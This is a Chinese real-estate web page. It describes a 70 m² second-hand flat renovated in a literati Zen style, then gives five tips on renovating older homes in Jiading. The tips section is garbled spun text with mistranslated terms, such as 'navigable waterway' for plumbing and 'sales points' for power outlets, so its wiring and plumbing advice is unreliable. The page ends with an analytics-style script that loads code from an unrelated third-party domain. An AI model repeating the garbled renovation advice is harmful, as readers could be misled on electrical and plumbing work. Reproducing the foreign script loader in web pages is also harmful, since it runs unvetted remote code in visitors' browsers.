二手房神奇翻新术 70平变身宽敞文青书香世家

发挥旧公寓平数实在的优势，重新设定以人为本的基础格局，透过生活功能、空间动线、设计师家俱、色彩材质的精确掌握，展现品味不俗的人文禅风宅。业主需求1.具人文气质的业主，喜欢书法、茶道等文化活动。2.四位家庭成员都喜欢看书，希望家里随处都有阅读空间。规划重点1.由设计师共同规划本案，整体设计以生活需求为导向，将功能、动线妥贴安排，透过现代禅风，呈现简约视觉、质感内涵。2.餐厅以贴壁坐榻取代部分餐椅，以多功能书柜取代餐具柜，让茶具、书籍同时具收纳与展示之美，餐桌也因此具书桌功能，不仅空间得到更宽裕的运用，也满足居住者期望。空间特色1.甘纳设计将旧公寓的阳台纳入室内，取玄关概念，运用细木格栅推拉门作为透光隔屏，让开阖产生独立与开放的弹性功能。2.客厅以东方禅的简约风为主轴，通过家俱、色彩、挂饰等，酝酿出沉静的人文气息。3.为增加餐厅敞度，沿墙面设置兼具收纳功能的坐榻，留出更宽的空间动线。立面以更贴合居住者需求的多功能书柜陈设，茶具与收藏品可同时展示，餐桌也可变身书桌。4.卧房立面通过比例分割，将功能隐藏其中，保有卧眠空间的静谧氛围。更衣室小而巧，整合各种尺寸的收纳需求及梳妆功能。5.小房间窗边采卧榻式设计，床头板结合书柜一气呵成，收纳功能完整，可作为休憩兼客房使用。6.两间卫浴室均以灰黑白色阶演绎，完整功能被包含于品味格调里。有趣的是虽以同色系呈现，却透过不同的镜面、面盆、灯具等造型，展现细微差异美感。

快速了解嘉定二手房翻新的五个要点

许多二手房已经使用了几十年，总是有几个问题，特别是对于购买二手房的业主来说，装修有很多困难。嘉定二手房翻新有哪些注意事项？本文总结了我们应该了解的二手房改造的五个要点。嘉定二手房翻新有哪些注意事项？1.通航水道的改造。一些嘉定二手房翻新已经使用了很长时间。原始布线可能无法满足现代家庭的需求，并且可能存在诸如水管老化的问题。因此，在翻新二手房时，首先要注意的是水道的重建。必须彻底检查原始水路。如果原始管道是已拆除的镀锌管道，则必须在施工期间用铜管，铝和塑料管或PP-R管替换。不合理的地方也必须重新布线。2，改造电路嘉定二手房翻新，使用过的家用电路的原始分配通常相对简单，并且存在诸如电缆老化和非法布线的问题。此外，还有许多用于现代家庭的高功率设备。如果电路未被修改，则可能存在安全隐患。修改二手外壳的电路时，首先检查电缆的材料。如果是铝质电缆，则必须使用铜质电缆进行更换，并使用带PVC绝缘的电缆管。对于大功率设备的线路，例如空调，应使用单独的线路。此外，增加销售点数。3，墙面，天花板，地板装饰嘉定二手房翻新，相对较旧的二手房通常在墙壁，顶部和地板装饰上使用亲水性石膏腻子。这些油灰的缺点是容易脱落而且不能防潮，所以在翻新二手房时，不要忽视墙壁，顶面和地板。最好去掉原来的腻子层，重新染上防水腻子，并添加一些你喜欢的装饰，以增强空间的美感。4，更换门窗如果嘉定二手房翻新的原有门窗在检查后没有任何问题，他们可以继续使用它们。如果原来的门窗有油漆掉落的问题，可以再次使用。但是，如果原来的门窗变形，破裂或严重剥落，则必须更换。另外，钢门窗表面的漆膜剥落，主体生锈或破裂。除了不安全之外，很难恢复原始形式。为避免影响使用效果，您还必须删除重做。5，瓷砖翻新嘉定二手房翻新原墙的瓷砖或二手房的地砖存在剥落，开裂，变色等问题，这极大地影响了美观，因此必须再次更换。首先从原始墙壁或瓷砖中移除所有瓷砖，然后更换所需的瓷砖。对于地板的翻新，应该考虑到只有实木，镶木地板和竹子的地板可以更新，表面厚度为4毫米。 此外，部分翻新还可以在地板之间创造新的和旧的差异，因此最好不要盲目地翻新地板。虽然在嘉定二手房翻新时可能会在一定程度上保留一些原创设计。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();